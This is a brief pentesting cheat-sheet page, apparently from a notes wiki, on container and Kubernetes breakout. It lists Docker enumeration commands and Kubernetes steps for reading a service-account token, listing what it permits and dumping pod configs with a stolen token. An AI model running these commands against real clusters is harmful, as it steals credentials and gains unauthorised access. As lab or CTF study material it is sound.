Container/Sandbox Breakout

Virtual inceptions

Docker

I first check the hosts for any potential cues of containerization and/or any other nodes on the network. You can also try running the binary capsh. If it exists, this can be used to print current container capabilities.

cat /etc/hosts #check for container id leik 8u9ru98432
capsh --print #check current unix capabilites

ls -l /proc/*/ns #list proc

ls -al /dev/ | grep disk #check for disks

Kubernetes

Try getting secrets.

cat /var/run/secrets/kubernetes.io/serviceaccount/token

List what you can do with this token

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 auth can-i --list

Get pods & configs

kubectl get pods -o yaml > backup.config \
	--server="https://kube-serv:6443" \
	--token='<Token you steal>' \
	--insecure-skip-tls-verify=true 

Build & Deploy

Execute command

Basic commands

https://github.com/TurboWindX/kube-hunter

https://github.com/TurboWindX/peirates

Last updated

Was this helpful?